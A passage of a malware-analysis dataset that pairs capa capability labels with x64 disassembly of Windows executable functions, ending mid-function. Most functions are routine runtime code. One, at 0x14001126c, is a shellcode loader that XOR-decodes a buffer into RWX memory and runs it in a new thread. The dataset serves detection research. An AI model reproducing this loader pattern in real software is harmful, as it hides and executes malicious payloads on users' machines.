joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402cc0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400111f4
Capabilities:
Terminate process

Disassembly:
jmp 0x140012e20
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001126c
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400117c0
push rbp
push rsi
push rdi
sub rsp, 0x260
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x5c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002f008]
xor rax, rbp
mov qword [rbp + 0x228], rax
lea rcx, [0x14003409f]
call fcn.140011375
lea rax, [rbp + 0x10]
lea rcx, [0x140019c90]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xce
rep movsb byte [rdi], byte [rsi]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0xce
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xf8], rax
mov r8d, 0xce
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0xf8]
call fcn.1400111b3
mov dword [rbp + 0x114], 0
mov dword [rbp + 0x134], 0
jmp 0x140011870
mov eax, dword [rbp + 0x134]
inc eax
mov dword [rbp + 0x134], eax
movsxd rax, dword [rbp + 0x134]
cmp rax, 0xce
jae 0x1400118a7
movsxd rax, dword [rbp + 0x134]
mov rcx, qword [rbp + 0xf8]
movsx eax, byte [rcx + rax]
xor eax, 0x35
movsxd rcx, dword [rbp + 0x134]
mov rdx, qword [rbp + 0xf8]
mov byte [rdx + rcx], al
jmp 0x140011862
lea rax, [rbp + 0x114]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0xf8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x158], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140019c50]
call fcn.140011307
mov eax, edi
mov rcx, qword [rbp + 0x228]
xor rcx, rbp
call fcn.1400111ae
lea rsp, [rbp + 0x230]
pop rdi
pop rsi
pop rbp
ret

Function at 0x140011276
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014170
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014190
xor al, al
jmp 0x140014211
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400141a3
xor al, al
jmp 0x140014211
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400141cd
xor al, al
jmp 0x140014211
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400141e1
xor al, al
jmp 0x140014211
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400141f3
xor al, al
jmp 0x140014211
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001420f
xor al, al
jmp 0x140014211
mov al, 1
add rsp, 0x38
ret
Function at 0x14002d180
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14002d1a8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14002d1ce
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14002d1d0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14002d229
test ecx, ecx
jle 0x14002d209
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call fcn.14002f384
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14002d229
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14002d229
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x14002d250
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14002d272
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x14002d288
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14002d2a4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14002d2a6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14002d2e2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call fcn.14002f384
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14002d37e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14002d31d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14002d35e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14002d37e
cmp rbx, rax
ja 0x14002d330
test rbx, rbx
je 0x14002d37e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140048540
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x14004856d
xor al, al
jmp 0x1400486cf
mov rax, qword [0x1400686c0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x1400686c8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x1400686d0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x1400686d8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x1400686e0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x1400686e8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x1400686f0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x1400686f8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x140068700]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x1400486c1
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x140048619
mov r11d, 2
jmp 0x14004863d
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x140048633
mov r11d, 1
jmp 0x14004863d
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x1400486e5
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x140048682
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x14004869a
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x1400486aa
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x1400486b8
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x140048600
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x1400486ca
Function at 0x140026253
Capabilities:
Create thread

Disassembly:
jmp 0x14005f1a0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [0x14008e148]
xor rax, rbp
mov qword [rbp + 0x120], rax
lea rcx, [0x14009aa60]
call fcn.140027536
mov edx, 8
lea rcx, [rbp + 8]
call fcn.140027383
mov r9, qword [rbp + 0x168]
mov r8, qword [rbp + 0x160]
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 0x108]
call fcn.1400267b7
mov qword [rbp + 0x118], rax
mov rdx, qword [rbp + 0x118]
lea rcx, [rbp + 8]
call fcn.140027720
nop
lea rcx, [rbp + 0x108]
call fcn.140026c9e
lea rax, [0x140026884]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x150]
add rax, 8
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 8]
call fcn.1400274fa
mov rcx, qword [rbp + 0x118]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x150]
mov qword [rcx], rax
mov rax, qword [rbp + 0x150]
cmp qword [rax], 0
je 0x14005f2b8
lea rcx, [rbp + 8]
call fcn.140026dcf
jmp 0x14005f2d1
mov rax, qword [rbp + 0x150]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.1400264dd
nop
lea rcx, [rbp + 8]
call fcn.140026c9e
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_accept
call fcn.140027171
mov rcx, qword [rbp + 0x120]
xor rcx, rbp
call fcn.140026a1e
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret

Function at 0x14002637a
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x1400691a0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x14009ae4d]
call fcn.140027536
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x270
jne 0x1400691dc
mov rcx, qword [rbp + 0x100]
call fcn.140026438
jmp 0x1400691f7
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x4e0
jb 0x1400691f7
mov rcx, qword [rbp + 0x100]
call fcn.140026a37
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
mov rcx, qword [rbp + 0x100]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
inc eax
mov rcx, qword [rbp + 0x100]
mov dword [rcx], eax
mov eax, dword [rbp + 4]
shr eax, 0xb
mov rcx, qword [rbp + 0x100]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shr eax, 0x12
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140026a37
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x1400696d0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x20]
lea rcx, [0x14009ae4d]
call fcn.140027536
mov qword [rbp + 8], 0x26f
mov qword [rbp + 0x28], 0xe3
mov qword [rbp + 0x48], 0
jmp 0x140069714
mov rax, qword [rbp + 0x48]
inc rax
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xe3
jae 0x1400697a5
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x48]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
and eax, 1
test eax, eax
je 0x14006976a
mov dword [rbp + 0x1b4], 0x9908b0df
jmp 0x140069774
mov dword [rbp + 0x1b4], 0
mov eax, dword [rbp + 0x64]
shr eax, 1
xor eax, dword [rbp + 0x1b4]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140069709
mov qword [rbp + 0x88], 0xe3
jmp 0x1400697c3
mov rax, qword [rbp + 0x88]
inc rax
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0x26f
jae 0x14006986c
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x88]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rbp + 0xa4], eax
mov eax, dword [rbp + 0xa4]
and eax, 1
test eax, eax
je 0x140069828
mov dword [rbp + 0x1b4], 0x9908b0df
jmp 0x140069832
mov dword [rbp + 0x1b4], 0
mov eax, dword [rbp + 0xa4]
shr eax, 1
xor eax, dword [rbp + 0x1b4]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x1400697b2
mov qword [rbp + 0xc8], 0x26f
mov eax, 4
imul rax, rax, 0x4df
mov rcx, qword [rbp + 0x1e0]
mov eax, dword [rcx + rax + 4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x1e0]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rbp + 0xe4], eax
mov eax, dword [rbp + 0xe4]
and eax, 1
test eax, eax
je 0x1400698cc
mov dword [rbp + 0x1b4], 0x9908b0df
jmp 0x1400698d6
mov dword [rbp + 0x1b4], 0
mov eax, dword [rbp + 0xe4]
shr eax, 1
xor eax, dword [rbp + 0x1b4]
mov ecx, 4
imul rcx, rcx, 0x18c
mov rdx, qword [rbp + 0x1e0]
xor eax, dword [rdx + rcx + 4]
mov ecx, 4
imul rcx, rcx, 0x26f
mov rdx, qword [rbp + 0x1e0]
mov dword [rdx + rcx + 4], eax
mov rax, qword [rbp + 0x1e0]
mov dword [rax], 0
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x140026adc
Capabilities:
Set socket configuration

Disassembly:
jmp 0x14003bbb0
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, reloc.WS2_32.dll_select
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x158]
mov rax, qword [0x14008e148]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140027536
mov dword [rbp + 4], 0xffffffff
mov eax, dword [rbp + 0x128]
mov dword [rbp + 0xf4], eax
mov eax, dword [rbp + 0xf4]
dec eax
mov dword [rbp + 0xf4], eax
cmp dword [rbp + 0xf4], 8
ja case.0x14003bc48.7
movsxd rax, dword [rbp + 0xf4]
lea rcx, [0x140000000]
mov eax, dword [rcx + rax*4 + 0x3be00]
add rax, rcx
jmp rax
mov eax, dword [rbp + 0x130]
mov dword [rbp + 0x24], eax
lea r8, [rbp + 0x24]
mov edx, 0x8004667e
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov dword [rbp + 4], eax
jmp case.0x14003bc48.7
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x130]
mov r8d, 0x20
mov edx, 0xffff
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rbp + 4], eax
jmp case.0x14003bc48.7
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x130]
mov r8d, 4
mov edx, 0xffff
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rbp + 4], eax
jmp case.0x14003bc48.7
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x130]
mov r8d, 0x1002
mov edx, 0xffff
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rbp + 4], eax
jmp case.0x14003bc48.7
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x130]
mov r8d, 0x1001
mov edx, 0xffff
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rbp + 4], eax
jmp case.0x14003bc48.7
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x130]
mov r8d, 0x1006
mov edx, 0xffff
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rbp + 4], eax
jmp case.0x14003bc48.7
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x130]
mov r8d, 0x1005
mov edx, 0xffff
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rbp + 4], eax
jmp case.0x14003bc48.7
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x130]
mov r8d, 1
mov edx, 6
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
jne 0x14003bdc1
mov dword [rbp + 0xf4], 0xffffffff
jmp 0x14003bdcb
mov dword [rbp + 0xf4], 0
mov eax, dword [rbp + 0xf4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_accept
call fcn.140027171
mov eax, edi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.140026a1e
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140026b95
Capabilities:
Terminate process

Disassembly:
jmp 0x14006ce20
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140026c7b
Capabilities:
Read file on windows

Disassembly:
jmp 0x14005df30
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x14008e148]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140027536
lea r8, [0x140081184]
mov rdx, qword [rbp + 0x140]
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fopen_s]
cmp qword [rbp + 8], 0
jne 0x14005dfa4
xor eax, eax
jmp 0x14005e03a
mov r8d, 2
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fseek]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_ftell]
mov dword [rbp + 0x24], eax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fseek]
mov eax, dword [rbp + 0x24]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x14005e038
mov eax, dword [rbp + 0x24]
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0x48]
call fcn.140026fe6
mov eax, dword [rbp + 0x24]
mov r9, qword [rbp + 8]
mov r8d, 1
mov edx, eax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ucrtbased.dll_fread]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
cmp qword [rbp + 0x148], 0
je 0x14005e032
mov rax, qword [rbp + 0x148]
mov ecx, dword [rbp + 0x24]
mov dword [rax], ecx
mov rax, qword [rbp + 0x48]
jmp 0x14005e03a
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_accept
call fcn.140027171
mov rax, rdi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.140026a1e
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x140026ed3
Capabilities:
Parse pe header

Disassembly:
jmp 0x14006f2e0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14006f300
xor al, al
jmp 0x14006f381
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14006f313
xor al, al
jmp 0x14006f381
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14006f33d
xor al, al
jmp 0x14006f381
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14006f351
xor al, al
jmp 0x14006f381
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14006f363
xor al, al
jmp 0x14006f381
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14006f37f
xor al, al
jmp 0x14006f381
mov al, 1
add rsp, 0x38
ret
Function at 0x140026f50
Capabilities:
Receive data
Receive data on socket

Disassembly:
jmp 0x14003b790
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x218]
mov rax, qword [0x14008e148]
xor rax, rbp
mov qword [rbp + 0x198], rax
mov byte [rbp + 0x154], 0
lea rcx, reloc.WS2_32.dll_accept
call fcn.140027536
mov dword [rbp + 4], reloc.WS2_32.dll_recv
mov dword [rbp + 0x24], 0
cmp qword [rbp + 0x1c8], 0
je 0x14003b814
lea rax, [rbp + 4]
mov qword [rbp + 0x188], rax
jmp 0x14003b81f
mov qword [rbp + 0x188], 0
cmp qword [rbp + 0x1c8], 0
je 0x14003b83d
mov byte [rbp + 0x154], 1
lea rax, [rbp + 0x68]
mov qword [rbp + 0x190], rax
jmp 0x14003b848
mov qword [rbp + 0x190], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov rax, qword [rbp + 0x188]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0x190]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x44]
mov r8d, dword [rbp + 0x1d8]
mov rdx, qword [rbp + 0x1d0]
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.WS2_32.dll_WSARecvFrom]
cmp eax, 0xffffffff
jne 0x14003b8d0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rbp + 0x184], eax
cmp dword [rbp + 0x184], 0x2733
je 0x14003b8c5
cmp dword [rbp + 0x184], 0x2746
je 0x14003b8c5
jmp 0x14003b8c9
xor eax, eax
jmp 0x14003b926
mov eax, 0xffffffff
jmp 0x14003b926
mov eax, dword [rbp + 0x24]
and eax, 0x8000
test eax, eax
je 0x14003b8e3
mov eax, 0xffffffff
jmp 0x14003b926
cmp qword [rbp + 0x1c8], 0
je 0x14003b923
mov rax, qword [rbp + 0x1c8]
mov ecx, dword [rbp + 0x6c]
mov dword [rax], ecx
cmp byte [rbp + 0x154], 0
jne 0x14003b90e
lea rcx, [0x14007aa20]
call fcn.140026357
movzx ecx, word [rbp + 0x6a]
call qword [sym.imp.WS2_32.dll_ntohs]
mov rcx, qword [rbp + 0x1c8]
mov word [rcx + 4], ax
mov eax, dword [rbp + 0x44]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, reloc.WS2_32.dll_connect
call fcn.140027171
mov rax, rdi
mov rcx, qword [rbp + 0x198]
xor rcx, rbp
call fcn.140026a1e
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret

Function at 0x140026f82
Capabilities:
Resolve dns

Disassembly:
jmp 0x14003ab80
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, reloc.WS2_32.dll_accept
call fcn.140027536
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x14003abc9
mov rax, qword [rbp + 8]
movsx eax, word [rax + 0x10]
cmp eax, 2
je 0x14003abde
mov rdx, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x100]
call fcn.140026960
jmp 0x14003ac00
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 8]
